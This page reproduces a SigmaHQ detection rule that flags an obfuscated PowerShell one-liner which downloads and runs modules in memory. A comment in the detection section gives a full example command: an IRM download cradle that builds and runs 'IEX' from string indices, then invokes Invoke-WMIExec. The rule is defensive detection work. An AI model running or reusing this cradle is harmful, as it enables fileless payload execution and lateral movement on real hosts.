Sigma rule: Obfuscated PowerShell OneLiner Execution

A detection rule from the SigmaHQ repository, shown as its author published it. Dataset version ref-a3e2086aef8f, updated 2025-04-16T00:00:00.000Z.

Rule

Title
Obfuscated PowerShell OneLiner Execution
Status
test
Level
high
Author
@Kostastsale, TheDFIRReport
Date
2022-05-09
Modified
2025-04-16
File
rules/windows/process_creation/proc_creation_win_powershell_download_cradle_obfuscated.yml
Commit
ccbb0369507f796db0b0ae6854c8a2be471b9d84

Detects the execution of a specific OneLiner to download and execute powershell modules in memory.

Log source

product
windows
category
process_creation

Detection

selection:
    # Example: powershell -nop -noni -ep bypass -w h -c "$u=("http://127.0.0.1:1337/"|%%{(IRM $_)});&("".SubString.ToString()[67,72,64]-Join"")($u); Import-Module C:\Users\EXAMPLE\Invoke-WMIExec.ps1; Invoke-WMIExec"
    Image|endswith: '\powershell.exe'
    CommandLine|contains|all:
        - 'http://127.0.0.1'
        - '%{(IRM $_)}'
        - 'Invoke'
condition: selection

False positives (as the rule lists them)

  • Unknown

Tags

  • attack.execution
  • attack.defense-impairment
  • attack.t1059.001
  • attack.t1685

MITRE ATT&CK ids this rule names

References

Read on 2026-11-03T00:58:21.399Z under licence sigma-drl-1.1@d5f4c36a from https://github.com/SigmaHQ/sigma/blob/ccbb0369507f796db0b0ae6854c8a2be471b9d84/rules/windows/process_creation/proc_creation_win_powershell_download_cradle_obfuscated.yml

Sources and licences

  • SigmaHQ

    "Obfuscated PowerShell OneLiner Execution" by @Kostastsale, TheDFIRReport (SigmaHQ). Rule: https://github.com/SigmaHQ/sigma/blob/ccbb0369507f796db0b0ae6854c8a2be471b9d84/rules/windows/process_creation/proc_creation_win_powershell_download_cradle_obfuscated.yml.
    Licensed under the Detection Rule License (DRL) 1.1: https://github.com/SigmaHQ/Detection-Rule-License

    Detection Rule License (DRL) 1.1

Cite this page

Dragons Eye Ransomware Tracker, "Sigma rule: Obfuscated PowerShell OneLiner Execution",
entity page, dataset version ref-a3e2086aef8f, updated 2025-04-16T00:00:00.000Z,
https://ransomware-tracker.com/detections/sigma/44e24481-6202-4c62-9127-5a0ae8e3fe3d (accessed 2026-11-03).
Underlying source: SigmaHQ rule 44e24481-6202-4c62-9127-5a0ae8e3fe3d, commit ccbb0369507f796db0b0ae6854c8a2be471b9d84.

Pages change. The dataset version identifies the data, but no archive of old versions is kept, so this citation cannot be replayed later.